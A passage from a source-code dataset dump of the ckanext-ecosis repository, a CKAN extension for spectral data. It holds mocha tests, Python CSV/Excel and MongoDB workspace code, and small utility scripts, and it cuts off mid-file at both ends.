assert.equal(pkg.hasKeyword('zzzzzzz'), false); // verify hasKeyword is actually working\n });\n\n it('can remove keywords', function(){\n pkg.removeKeyword('testing');\n assert.equal(pkg.hasKeyword('testing'), false);\n });\n\n it('can set license', function(){\n pkg.setLicense(data.license.id, data.license.title);\n assert.equal(pkg.getLicenseId(), data.license.id);\n assert.equal(pkg.getLicenseTitle(), data.license.title);\n });\n\n it('can set organization via name', function(next){\n pkg.setOrganization(data.organization, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(resp.success, true);\n assert.notEqual(pkg.getOrganization(), '');\n next();\n });\n });\n\n it('can set organization via id', function(next){\n var id = pkg.getOrganization();\n\n // verify we can clear an org\n pkg.setOrganization('');\n assert.equal(pkg.getOrganization(), '');\n\n pkg.setOrganization(id, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(resp.success, true);\n assert.equal(pkg.getOrganization(), id);\n next();\n });\n });\n\n it('can set version', function(){\n pkg.setVersion(data.version);\n assert.equal(pkg.getVersion(), data.version);\n });\n\n it('can set website', function(){\n pkg.setWebsite(data.website);\n assert.equal(pkg.getWebsite(), data.website);\n });\n\n it('can set the Theme', function(){\n pkg.setTheme(data.Theme);\n assert.deepEqual(pkg.getTheme(), data.cleanTheme);\n assert.deepEqual(pkg.getThemeOther(), data.cleanThemeOther);\n });\n\n it('can set the Ecosystem Type', function(){\n pkg.setEcosystemType(data.EcosystemType);\n assert.deepEqual(pkg.getEcosystemType(), data.cleanEcosystemType);\n });\n\n it('can set the Acquisition Method', function(){\n pkg.setAcquisitionMethod(data.AcquisitionMethod);\n assert.deepEqual(pkg.getAcquisitionMethod(), data.cleanAcquisitionMethod);\n assert.deepEqual(pkg.getAcquisitionMethodOther(), data.cleanAcquisitionMethodOther);\n });\n\n it('can set the Sample Platform', function(){\n pkg.setSamplePlatform(data.SamplePlatform);\n assert.deepEqual(pkg.getSamplePlatform(), data.SamplePlatform);\n });\n\n it('can set the Measurement Venue', function(){\n pkg.setMeasurementVenue(data.MeasurementVenue);\n assert.deepEqual(pkg.getMeasurementVenue(), data.cleanMeasurementVenue);\n assert.deepEqual(pkg.getMeasurementVenueOther(), []);\n });\n\n it('can set the Measurement Venue', function(){\n pkg.setMeasurementVenue(data.MeasurementVenue);\n assert.deepEqual(pkg.getMeasurementVenue(), data.cleanMeasurementVenue);\n assert.deepEqual(pkg.getMeasurementVenueOther(), []);\n });\n\n it('can set the Target Type', function(){\n pkg.setTargetType(data.TargetType);\n assert.deepEqual(pkg.getTargetType(), data.cleanTargetType);\n assert.deepEqual(pkg.getTargetTypeOther(), []);\n });\n\n it('can set the Index Name', function(){\n pkg.setIndexName(data.IndexName);\n assert.deepEqual(pkg.getIndexName(), data.cleanIndexName);\n });\n\n it('can set the Measurement Units', function(){\n pkg.setMeasurementUnits(data.MeasurementUnits);\n assert.equal(pkg.getMeasurementUnits(), data.MeasurementUnits);\n\n pkg.setMeasurementUnits('foobar');\n assert.equal(pkg.getMeasurementUnits(), '');\n\n pkg.setMeasurementUnits(data.MeasurementUnits);\n });\n\n it('can set the Target Status', function(){\n pkg.setTargetStatus(data.TargetStatus);\n assert.deepEqual(pkg.getTargetStatus(), data.cleanTargetStatus);\n });\n\n it('can set the Light Source Specifications', function(){\n pkg.setLightSourceSpecifications(data.LightSourceSpecifications);\n assert.deepEqual(pkg.getLightSourceSpecifications(), data.cleanLightSourceSpecifications);\n });\n\n it('can set the Foreoptic Type', function(){\n pkg.setForeopticType(data.ForeopticType);\n assert.deepEqual(pkg.getForeopticType(), data.cleanForeopticType);\n assert.deepEqual(pkg.getForeopticTypeOther(), data.cleanForeopticTypeOther);\n });\n\n it('can set the Foreoptic Field of View', function(){\n pkg.setForeopticFieldofView(data.ForeopticFieldofView);\n assert.deepEqual(pkg.getForeopticFieldofView(), data.cleanForeopticFieldofView);\n });\n\n it('can set the Foreoptic Specifications', function(){\n pkg.setForeopticSpecifications(data.ForeopticSpecifications);\n assert.deepEqual(pkg.getForeopticSpecifications(), [data.ForeopticSpecifications]);\n });\n\n it('can set the Processing Averaged', function(){\n pkg.setProcessingAveraged(data.ProcessingAveraged);\n assert.deepEqual(pkg.getProcessingAveraged(), data.cleanProcessingAveraged);\n });\n\n it('can set the Processing Interpolated', function(){\n pkg.setProcessingInterpolated(data.ProcessingInterpolated);\n assert.deepEqual(pkg.getProcessingInterpolated(), data.cleanProcessingInterpolated);\n });\n\n it('can set the Processing Resampled', function(){\n pkg.setProcessingResampled(data.ProcessingResampled);\n assert.deepEqual(pkg.getProcessingResampled(), data.cleanProcessingResampled);\n });\n\n it('can set the Processing Information Details', function(){\n pkg.setProcessingInformationDetails(data.ProcessingInformationDetails);\n assert.equal(pkg.getProcessingInformationDetails(), data.ProcessingInformationDetails);\n });\n\n it('can set the Instrument Manufacturer', function(){\n pkg.setInstrumentManufacturer(data.InstrumentManufacturer);\n assert.deepEqual(pkg.getInstrumentManufacturer(), data.cleanInstrumentManufacturer);\n });\n\n it('can set the Instrument Model', function(){\n pkg.setInstrumentModel(data.InstrumentModel);\n assert.deepEqual(pkg.getInstrumentModel(), [data.InstrumentModel]);\n });\n\n it('can set the Instrument Serial Number', function(){\n pkg.setInstrumentSerialNumber(data.InstrumentSerialNumber);\n assert.deepEqual(pkg.getInstrumentSerialNumber(), data.cleanInstrumentSerialNumber);\n });\n\n it('can set the Author', function(){\n pkg.setAuthor(data.Author);\n assert.equal(pkg.getAuthor(), data.Author);\n assert.equal(pkg.data.author, data.Author);\n });\n\n it('can set the Author Email', function(){\n pkg.setAuthorEmail(data.AuthorEmail);\n assert.equal(pkg.getAuthorEmail(), data.AuthorEmail);\n assert.equal(pkg.data.author_email, data.AuthorEmail);\n });\n\n it('can set the Maintainer', function(){\n pkg.setMaintainer(data.Maintainer);\n assert.equal(pkg.getMaintainer(), data.Maintainer);\n assert.equal(pkg.data.maintainer, data.Maintainer);\n });\n\n it('can set the Maintainer Email', function(){\n pkg.setMaintainerEmail(data.MaintainerEmail);\n assert.equal(pkg.getMaintainerEmail(), data.MaintainerEmail);\n assert.equal(pkg.data.maintainer_email, data.MaintainerEmail);\n });\n\n it('can set private', function(){\n pkg.setPrivate(true);\n assert.equal(pkg.isPrivate(), true);\n\n pkg.setPrivate(false);\n assert.equal(pkg.isPrivate(), false);\n });\n\n it('should map spectra metadata attributes', function(next){\n var map = {\n 'USDA Symbol' : 'species'\n };\n\n pkg.setAliases(map);\n assert.deepEqual(pkg.getAliases(), map);\n next();\n });\n\n it('can create dataset', function(next){\n this.timeout(10000);\n\n pkg.create(function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(typeof resp.id, 'string');\n next();\n });\n });\n\n\n\n});\n\nrequire('./process');\nrequire('./search');\n" }, { "alpha_fraction": 0.7553191781044006, "alphanum_fraction": 0.7553191781044006, "avg_line_length": 18, "blob_id": "783e60fa3db6e7f50a5ccc561cb9c60002686fe5", "content_id": "00df25f5c88ca88236438c1c7b2163aff6d88ae0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 94, "license_type": "no_license", "max_line_length": 28, "num_lines": 5, "path": "/ckanext/ecosis/datastore/utils/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from . import storage\n\n# inject global dependencies\ndef init(config):\n storage.init(config)" }, { "alpha_fraction": 0.40909090638160706, "alphanum_fraction": 0.6704545617103577, "avg_line_length": 13.833333015441895, "blob_id": "e91fa8ac582b41aba27d18f05ec134521a7f8dea", "content_id": "ea4348ef1c3d968c5239d9844a1a43b9f3528e36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 88, "license_type": "no_license", "max_line_length": 16, "num_lines": 6, "path": "/requirements.txt", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "pymongo==3.11.2\npsycopg2==2.7.7\nxlrd==1.2.0\nPyJWT==1.7.1\nshortuuid==0.5.0\nboto3==1.20.37" }, { "alpha_fraction": 0.5385934710502625, "alphanum_fraction": 0.5454545617103577, "avg_line_length": 33.35293960571289, "blob_id": "aa97fcc4e5e398f340aba1f207f90d9f255ab226", "content_id": "02424659f82e7a3516eb13c2920931433086cac4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 583, "license_type": "no_license", "max_line_length": 133, "num_lines": 17, "path": "/ckanext/ecosis/datastore/mapreduce/lookup_map.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "function() {\n var pkg = this.value;\n var keys = ['Keywords', 'Common Name', 'Latin Genus', 'Latin Species', 'Theme'];\n\n for( var i = 0; i < keys.length; i++ ) {\n if( !pkg[keys[i]] ) continue;\n\n var array = pkg[keys[i]];\n for( var j = 0; j < array.length; j++ ) {\n emit(keys[i]+'-'+array[j], {key: keys[i], value: array[j], count: 1})\n }\n }\n\n if( pkg.ecosis && pkg.ecosis.organization ) {\n emit('ecosis.organization-'+pkg.ecosis.organization, {key: 'ecosis.organization', value: pkg.ecosis.organization, count: 1});\n }\n}" }, { "alpha_fraction": 0.5924960970878601, "alphanum_fraction": 0.5945805311203003, "avg_line_length": 21.325580596923828, "blob_id": "0c1d9cee7691863a484e504995bb057623c7d9b9", "content_id": "61f3c6dc98f5115a94242aeb32100eabd1e9f071", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1919, "license_type": "no_license", "max_line_length": 66, "num_lines": 86, "path": "/spectra-importer/utils/top-traits/download.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var request = require('superagent');\nvar async = require('async');\nvar fs = require('fs');\nvar rdfParser = require('./parseRdf');\nvar path = require('path');\n\nvar url = 'http://top-thesaurus.org/searchApi';\n\ngetList((text) => {\n rdfParser(text, run);\n});\n\nfunction run(traits) {\n console.log('Processing traits...\\n');\n\n var results = [];\n var count = 0;\n\n async.eachSeries(\n traits,\n (trait, next) => {\n\n getTrait(trait.prefLabel, (text) => {\n rdfParser(text, (traitInfo) => {\n count++;\n\n if( traitInfo.length === 0 ) {\n return next();\n }\n\n process.stdout.clearLine(); // clear current text\n process.stdout.cursorTo(0);\n process.stdout.write(`${count} of ${traits.length}`);\n\n munge(trait.prefLabel, traitInfo);\n results.push(traitInfo);\n next();\n });\n });\n\n },\n (err) => {\n var outfile = path.join(__dirname, 'traits.json');\n fs.writeFileSync(outfile, JSON.stringify(results));\n console.log(`\\ndone. Results written to: ${outfile}`);\n }\n )\n}\n\nfunction munge(trait, traitInfo) {\n traitInfo = traitInfo[0];\n traitInfo.trait = trait;\n \n if( traitInfo.prefLabel ) {\n if( traitInfo.prefLabel.literalForm ) {\n traitInfo.preferredLabel = traitInfo.prefLabel.literalForm;\n }\n delete traitInfo.prefLabel;\n }\n \n if( traitInfo.altLabel ) {\n if( traitInfo.altLabel.literalForm ) {\n traitInfo.alternativeLabel = traitInfo.altLabel.literalForm;\n }\n delete traitInfo.altLabel;\n }\n}\n\nfunction getTrait(trait, callback) {\n request\n .get(url)\n .query({trait: trait})\n .end(function(err, resp){\n callback(resp.text);\n });\n}\n\nfunction getList(callback) {\n console.log(`Downloading trait list from: ${url}`);\n request\n .get(url)\n .query({allTraits: true})\n .end(function(err, resp){\n callback(resp.text);\n });\n}" }, { "alpha_fraction": 0.4932079315185547, "alphanum_fraction": 0.5109717845916748, "avg_line_length": 37.31999969482422, "blob_id": "a4767faf863f4b86ce914f57baa76769e7b217a2", "content_id": "93bb35d2983c15d204d22af6a44afeb1b164aa5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 957, "license_type": "no_license", "max_line_length": 129, "num_lines": 25, "path": "/ckanext/ecosis/datastore/files/csvReader.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import csv, re\n\n# parse a csv file\ndef read(file, separator):\n data = []\n with open(file, 'rU') as csvfile:\n # open will csv files\n reader = csv.reader(csvfile, delimiter=separator, quotechar='\"')\n\n for row in reader:\n # stip no unicode characters: http://stackoverflow.com/questions/26541968/delete-every-non-utf-8-symbols-froms-string\n # TODO: is there a better way todo this?\n for i in range(0, len(row)):\n try:\n row[i] = unicode(row[i], 'utf-8').encode(\"utf-8\", \"ignore\")\n except Exception as e:\n # HACK, remove bad characters\n try:\n row[i] = re.sub(r'[^\\x00-\\x7F]+',' ', row[i]).encode(\"utf-8\", \"ignore\")\n except Exception as e:\n row[i] = '__invalid_utf-8_characters__'\n\n data.append(row)\n csvfile.close()\n return data" }, { "alpha_fraction": 0.6983240246772766, "alphanum_fraction": 0.6983240246772766, "avg_line_length": 24.571428298950195, "blob_id": "b52b2546e94b8d0b681add6a246bc17af41502d6", "content_id": "a77ab85131e104e4978f86de00b960931bb49d20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 179, "license_type": "no_license", "max_line_length": 41, "num_lines": 7, "path": "/spectra-importer/bundle.sh", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\n# --debug: adds sourcemaps\n# --standalone: creates exposed namespace\nbrowserify --debug \\\n lib/index.js --standalone Ecosis \\\n -o app/import/scripts/bundle.js\n" }, { "alpha_fraction": 0.5763440728187561, "alphanum_fraction": 0.5777778029441833, "avg_line_length": 24.345455169677734, "blob_id": "c1fc5ad15c1a77505febc379debcf27a61df7b15", "content_id": "bf4e46930afee381e96bb8abf8b31b65a2e21296", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1395, "license_type": "no_license", "max_line_length": 64, "num_lines": 55, "path": "/spectra-importer/lib/package/template.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "\nmodule.exports = function(Package) {\n Package.prototype.loadFromTemplate = loadFromTemplate;\n};\n\n// load from server provided template\nfunction loadFromTemplate(ckanPackage, user, keepDoi) {\n for( var key in this.data ) {\n if( key === 'owner_org' || key === 'id' ) continue;\n if( ckanPackage[key] ) this.data[key] = ckanPackage[key];\n }\n\n if( user && user.organizations && ckanPackage.owner_org ) {\n for( var i = 0; i < user.organizations.length; i++ ) {\n if( user.organizations[i].id === ckanPackage.owner_org ) {\n data.owner_org = ckanPackage.owner_org;\n break;\n }\n }\n }\n\n if( ckanPackage.extras ) {\n if( !keepDoi ) {\n if( ckanPackage.extras['EcoSIS DOI'] ) {\n delete ckanPackage.extras['EcoSIS DOI']\n }\n if( ckanPackage.extras['EcoSIS DOI Status'] ) {\n delete ckanPackage.extras['EcoSIS DOI Status']\n }\n }\n\n var arr = [];\n for( var key in ckanPackage.extras ) {\n arr.push({\n key : key,\n value : ckanPackage.extras[key]\n });\n }\n this.data.extras = arr;\n }\n\n if( ckanPackage.tags ) {\n var arr = [];\n for( var i = 0; i < ckanPackage.tags.length; i++ ) {\n arr.push({\n name : ckanPackage.tags[i],\n display_name : ckanPackage.tags[i]\n });\n }\n this.data.tags = arr;\n }\n\n if( ckanPackage.map ) {\n this.setAliases(ckanPackage.map);\n }\n}\n" }, { "alpha_fraction": 0.623065173625946, "alphanum_fraction": 0.629387378692627, "avg_line_length": 27.668750762939453, "blob_id": "18ebe9baca5c91ce317ac8b75bba7f7c5c016f82", "content_id": "bd98a7fcc2ed0d6ee8f6b52a4f8b4c41a0297136", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4587, "license_type": "no_license", "max_line_length": 111, "num_lines": 160, "path": "/spectra-importer/tests/mocha/createPackage/dataset2/process.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var assert = require('assert');\nvar path = require('path');\n\ndescribe('Add Resources & Configure - Dataset 2', function() {\n var data, SDK, pkg;\n\n var firstSpectraId = 'P1';\n var joinField = 'Plant Number';\n var metadataAttributes = [\n \"CARBON\",\"LMA\",\"Latin Genus\",\"Plot Name\",\"Common Name\",\"Date\",\"LIGNIN\",\n \"NITROGEN\",\"USDA Code\",\"Light Source\",\"FIBER\",\"CELLULOSE\",\"Foreoptic\",\n \"Target Type\",\"Spectrometer Company\",\"CHLOROPHYLL_A\",\"CHLOROPHYLL_B\",\n \"Foreoptic FOV \",\"CAROTENOIDS\",\"Latin Species\",\"Spectrometer Model\",\n \"Plant Number\",\"Wavelength Units\"\n ];\n\n var resource = null;\n var filename = 'spectra.xlsx';\n var sheets = ['Metadata', 'Traits', 'Spectra'];\n\n before(function(){\n data = require('./data/datasetInfo');\n SDK = require('../../newSDK')();\n });\n\n it('should get Dataset 2 by name via api', function(next){\n SDK.ckan.getPackage(data.name, function(resp){\n assert.equal(resp.error, undefined);\n pkg = SDK.newPackage(resp);\n assert.equal(pkg.getTitle(), data.title);\n next();\n });\n });\n\n it('should prepare workspace for Dataset 2 by id via api', function(next){\n SDK.ckan.prepareWorkspace(pkg.getId(), function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(resp.prepared, true);\n assert.equal(resp.packageId, pkg.getId());\n\n next();\n });\n });\n\n\n it('should add excel resource', function(next){\n this.timeout(10000);\n\n var file = {\n mimetype : 'application/vnd.ms-excel',\n filename : filename,\n path : path.join(__dirname, 'data', filename)\n };\n\n pkg.addResource(file, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(resp.success, true);\n next();\n });\n });\n\n\n it('should have the resource info in the datastore', function(){\n assert.equal(SDK.ds.resources.length, 1);\n\n resource = SDK.ds.resources[0];\n\n assert.equal(resource.name, filename);\n });\n\n it('should let you configure the 1st excel sheet', function(next){\n var options = {\n layout : 'row',\n joinOn : 'Plant Number',\n metadata : true\n };\n\n SDK.ckan.processResource(pkg.getId(), resource.id, resource.datasheets[0].sheetId, options, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(typeof resp.result, 'object');\n\n resp = resp.result[0];\n\n assert.equal(resp.resourceId, resource.id);\n assert.equal(resp.sheetId, resource.datasheets[0].sheetId);\n assert.equal(resp.layout, 'row');\n assert.equal(resp.metadata, true);\n\n // set the update\n SDK.ds.setSheet(resp);\n next();\n });\n });\n\n it('should let you configure the 2nd excel sheet', function(next){\n var options = {\n layout : 'row',\n joinOn : 'Plant Number',\n metadata : true\n };\n\n SDK.ckan.processResource(pkg.getId(), resource.id, resource.datasheets[1].sheetId, options, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(typeof resp.result, 'object');\n\n resp = resp.result[0];\n\n assert.equal(resp.resourceId, resource.id);\n assert.equal(resp.sheetId, resource.datasheets[1].sheetId);\n assert.equal(resp.layout, 'row');\n assert.equal(resp.metadata, true);\n\n // set the update\n SDK.ds.setSheet(resp);\n next();\n });\n });\n\n it('should let you configure the 3rd excel sheet', function(next){\n var options = {\n layout : 'row'\n };\n\n SDK.ckan.processResource(pkg.getId(), resource.id, resource.datasheets[2].sheetId, options, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(typeof resp.result, 'object');\n\n resp = resp.result[0];\n\n assert.equal(resp.resourceId, resource.id);\n assert.equal(resp.sheetId, resource.datasheets[2].sheetId);\n assert.equal(resp.layout, 'row');\n\n // set the update\n SDK.ds.setSheet(resp);\n next();\n });\n });\n\n\n it('should let get spectra with joined data', function(next){\n SDK.ckan.getSpectra(pkg.getId(), resource.id, resource.datasheets[2].sheetId, 0, function(resp){\n assert.equal(resp['Plant Number'], firstSpectraId);\n assert.equal(resp['Plot Name'], 'Walnut Street Greenhouse');\n assert.equal(resp['Common Name'], 'Soybean'); // USDA Join\n assert.equal(Object.keys(resp.datapoints).length, 2151);\n next();\n });\n });\n\n it('let you push to search', function(next){\n SDK.ckan.pushToSearch(pkg.getId(), false, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(resp.emailing, false);\n\n next();\n });\n });\n\n});\n" }, { "alpha_fraction": 0.6979381442070007, "alphanum_fraction": 0.6979381442070007, "avg_line_length": 47.54999923706055, "blob_id": "50f7e62f2e039396bd7878b3e28c6f92d89401bb", "content_id": "78248cb274a660d96e80855092b20f3dcf3f9d63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 970, "license_type": "no_license", "max_line_length": 101, "num_lines": 20, "path": "/ckanext/ecosis/datastore/mongo.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from pymongo import MongoClient\nfrom ckan.common import config\n\nclient = MongoClient(config.get(\"ecosis.mongo.url\"))\ndb = client[config.get(\"ecosis.mongo.db\")]\n\ncollections = {\n # \"spectra\" : db[config.get(\"ecosis.mongo.workspace_spectra_collection\", \"workspace_spectra\")],\n \"resource\" : db[config.get(\"ecosis.mongo.workspace_resource_collection\", \"workspace_resources\")],\n \"package\" : db[config.get(\"ecosis.mongo.workspace_package_collection\", \"workspace_packages\")],\n \"usda\" : db[config.get(\"ecosis.mongo.usda_collection\", \"usda\")],\n \"top\" : db[config.get(\"ecosis.mongo.top_collection\", \"top\")],\n \"gcmd\" : db[config.get(\"ecosis.mongo.gcmd_collection\", \"gcmd\")],\n \"search_package\" : db[config.get(\"ecosis.mongo.search_collection\", \"search\")],\n \"search_spectra\" : db[config.get(\"ecosis.mongo.spectra_collection\", \"spectra\")],\n \"lookup\" : db[\"lookup\"]\n}\n\ndef get_package_spectra_collection(pkgid):\n return db['workspace_spectra_%s' % pkgid];" }, { "alpha_fraction": 0.5795979499816895, "alphanum_fraction": 0.582042932510376, "avg_line_length": 32.62100601196289, "blob_id": "5b5b0181e5ef4aad51e31ecebd699b5311defc1c", "content_id": "5364b735ec82781180d54d4b253d1cba56faed34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7362, "license_type": "no_license", "max_line_length": 117, "num_lines": 219, "path": "/ckanext/ecosis/datastore/files/excel.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import xlrd, os, shutil, datetime, json, csv, re\nfrom ckanext.ecosis.datastore.files import csvReader\n\n# TODO: document the workspace object and what attributes actually mean\n\nworkspaceDir = None\n\n# inject global dependencies\ndef init(workspaceDirectory):\n global workspaceDir\n workspaceDir = workspaceDirectory\n\n# src:\n# https://github.com/python-excel/xlrd\n# help:\n# http://www.youlikeprogramming.com/2012/03/examples-reading-excel-xls-documents-using-pythons-xlrd/\n# https://secure.simplistix.co.uk/svn/xlrd/trunk/xlrd/doc/xlrd.html?p=4966\n# Known Issues:\n# Looks like some versions of officelibre and badness that xlrd doesn't like...\ndef process(collection, sheetConfig, hash):\n\n # remove the place holder, the sheets will be the actual 'files'\n datasheets = []\n\n # check if a excel file sheets has been cached as csv files\n # this is the default way we want to read the excel files, cause parsing excel is slooooow\n sheetIds = []\n\n # we are not cached, need to write excel sheets as csv files\n if sheetConfig.get('hash') != hash:\n sheetIds = cacheWrite(collection, sheetConfig, hash)\n # we are cached, read in sheet ids\n else:\n workspacePath = os.path.join(workspaceDir, sheetConfig.get('packageId'), sheetConfig.get('resourceId'))\n fullPath = os.path.join(workspacePath,'sheets.json')\n f = open(fullPath, 'r')\n sheetIds = json.load(f)\n f.close()\n\n for sheetId in sheetIds:\n configSheetId = sheetConfig.get('sheetId')\n\n config = None\n\n # we are processing a single sheet\n if configSheetId == sheetId:\n config = sheetConfig\n\n # we are processing everything\n elif configSheetId is None:\n config = collection.find_one({\n \"packageId\" : sheetConfig.get('packageId'),\n \"resourceId\" : sheetConfig.get('resourceId'),\n \"sheetId\" : sheetId\n })\n\n # no config prepared\n if config == None:\n config = {\n \"packageId\" : sheetConfig.get('packageId'),\n \"resourceId\" : sheetConfig.get('resourceId'),\n \"layout\" : sheetConfig.get('layout'),\n \"sheetId\": sheetId\n }\n\n\n\n if configSheetId == sheetId or configSheetId is None:\n config['hash'] = hash\n\n # tack on zip stuff\n if sheetConfig.get(\"fromZip\") == True:\n config[\"fromZip\"] = True\n config[\"name\"] = sheetConfig.get(\"name\")\n config[\"file\"] = sheetConfig.get(\"file\")\n config[\"zip\"] = sheetConfig.get(\"zip\")\n\n # finally let's read the csv file for this sheet\n data = cacheRead(config)\n\n # append the sheet data and config to the response\n datasheets.append({\n \"data\" : data,\n \"config\" : config\n })\n\n return datasheets\n\n# read an individual excel sheet\ndef getWorksheetData(sheet, workbook):\n data = []\n\n # run over rows and columns of sheet\n for i in range(sheet.nrows):\n row = []\n for j in range(sheet.ncols):\n val = \"\"\n\n # let's try and parse out some values\n try:\n # if of type date, read in as iso formatted string\n if sheet.cell_type(i,j) == xlrd.XL_CELL_DATE:\n val = sheet.cell_value(i, j)\n val = datetime.datetime(*xlrd.xldate_as_tuple(val, workbook.datemode)).isoformat()\n # otherwise, just read value as string\n else:\n val = sheet.cell_value(i, j)\n if isinstance(val, unicode):\n val = val.encode(\"utf-8\")\n else:\n val = str(val) # see if this fails. if so, we have badness\n\n\n\n # if anything fails, see if it's cause of bad utf-8 characters\n except Exception as e:\n try:\n # try and scrub utf-8 badness\n val = re.sub(r'[^\\x00-\\x7F]+',' ', sheet.cell_value(i, j))\n # just give up.\n except Exception as e:\n val = '__invalid_utf-8_characters__'\n row.append(val)\n\n data.append(row)\n return data\n\n# read a single sheet\ndef cacheRead(sheetConfig):\n id = sheetConfig.get('sheetId').split('-')[0]\n filename = '%s.csv' % id\n workspacePath = os.path.join(workspaceDir, sheetConfig.get('packageId'), sheetConfig.get('resourceId'), filename)\n\n return csvReader.read(workspacePath, \",\")\n\n# write excel files to disk as csv for faster read time\n# excel read is unreal slow in python.\ndef cacheWrite(collection, sheetConfig, hash):\n\n # we need to update the csv file cache\n workspacePath = os.path.join(workspaceDir, sheetConfig.get('packageId'), sheetConfig.get('resourceId'))\n\n # clean out any existing extraction\n if os.path.exists(workspacePath):\n shutil.rmtree(workspacePath)\n\n # create workspace (cache) path\n os.makedirs(workspacePath)\n\n sheetNames = []\n\n try:\n # open up the excel file\n workbook = xlrd.open_workbook(sheetConfig.get('file'))\n # grab sheet information\n sheets = workbook.sheet_names()\n\n for i, sheet in enumerate(sheets):\n sheetNames.append('%s-%s' % (i, sheet))\n\n # read in the sheet\n data = getWorksheetData(workbook.sheet_by_name(sheet), workbook)\n fullPath = os.path.join(workspacePath,'%s.csv' % i)\n\n # prepare to write the csv file for this sheet\n csvfile = open(fullPath, 'wb')\n\n # actually write csv file to disk\n wr = csv.writer(csvfile, quoting=csv.QUOTE_ALL)\n for row in data:\n wr.writerow(row)\n csvfile.close()\n\n except Exception as e:\n print(e)\n pass\n\n # make sure we save the hash\n excelConfig = collection.find_one({\n \"packageId\" : sheetConfig.get('packageId'),\n \"resourceId\" : sheetConfig.get('resourceId'),\n \"sheetId\" : None\n })\n\n # this is the first time we are reading the file\n if excelConfig is None:\n excelConfig = {\n \"file\" : sheetConfig.get('file'),\n \"packageId\" : sheetConfig.get('packageId'),\n \"resourceId\" : sheetConfig.get('resourceId'),\n \"sheetId\" : None,\n \"hash\" : hash,\n \"cached\" : datetime.datetime.utcnow(),\n \"excel\" : True\n }\n else:\n excelConfig['excel'] = True;\n excelConfig['cached'] = datetime.datetime.utcnow();\n excelConfig['hash'] = hash\n\n # if we have a 'fake' resource, it's from a zipfile, make sure we save the name\n if sheetConfig.get('fromZip') and 'name' in sheetConfig:\n excelConfig['name'] = sheetConfig['name']\n excelConfig['file'] = sheetConfig.get('file')\n\n # update the workspace collection\n collection.update({\n \"resourceId\" : sheetConfig.get('resourceId'),\n \"packageId\" : sheetConfig.get('packageId'),\n \"sheetId\" : None\n }, excelConfig, upsert=True)\n\n # save ids\n fullPath = os.path.join(workspacePath,'sheets.json')\n f = open(fullPath, 'w')\n json.dump(sheetNames, f)\n f.close()\n\n return sheetNames" }, { "alpha_fraction": 0.6239970326423645, "alphanum_fraction": 0.6244581937789917, "avg_line_length": 31.761329650878906, "blob_id": "213acaf874c5ce149e3715abdda37592ada10a87", "content_id": "9869b92da63f75421bde4308a0964140c2939af1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10843, "license_type": "no_license", "max_line_length": 117, "num_lines": 331, "path": "/ckanext/ecosis/datastore/workspace/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from datetime import datetime, timedelta\nimport re\nimport os\nimport shutil\nimport zipfile\nimport hashlib\n\nfrom ckanext.ecosis.datastore.ckan import resource as ckanResourceQuery\nfrom ckanext.ecosis.datastore.ckan import package as ckanPackageQuery\nfrom ckanext.ecosis.datastore.files import process as importer\nfrom ckanext.ecosis.datastore.mongo import get_package_spectra_collection\n\ndataExtension = [\"xlsx\",\"xls\",\"spectra\",\"csv\",\"tsv\"]\nallowedOptions = ['map', 'sort']\npackageExpireTime = timedelta(days=1)\nworkspaceDir = \"\"\n\n'''\nThe workspace is the core of the EcoSIS ckan extension. It is composed of both collections in MongoDB\nand files on disk. The workspace spectra, resource and dataset collections contain information about\nthe dataset including last process time and resource (csv, excel, etc) parsing information. The spectra\ncollection contains a entry for every row/column in every spectra resource file.\n\nWorkspaces will remain 'open', ie files on disk and data in the workspace package and spectra collections\nfor one day. If they are not 'touched' in 24 hours, they will be removed.\n\nThe resources workspace collection is persistent. It must always remember the file parsing configuration\nincase the user comes back while the other two workspace collections (spectra, package) are volatile.\n\nFinally, the filesystem stores all spectra resources as individual CSV sheets for fast lookups. That means\nvalid file types are extrated from zip files and excel files are expanded into multiple csv sheets. This\nallows efficient responses to file parsing changes by the user (Excel is SLOW, nested inside zip is complicated,\nzipped excel is both).\n'''\n\n# inject global resources\ndef init(co, resourceUtils, workDir):\n global collections, resourceUtil, workspaceDir\n\n collections = co\n resourceUtil = resourceUtils\n workspaceDir = workDir\n\n # fix seperator misselling -> separator\n # TODO: remove this when patch applied\n collections.get(\"resource\").update_many(\n {'seperator': {'$exists': 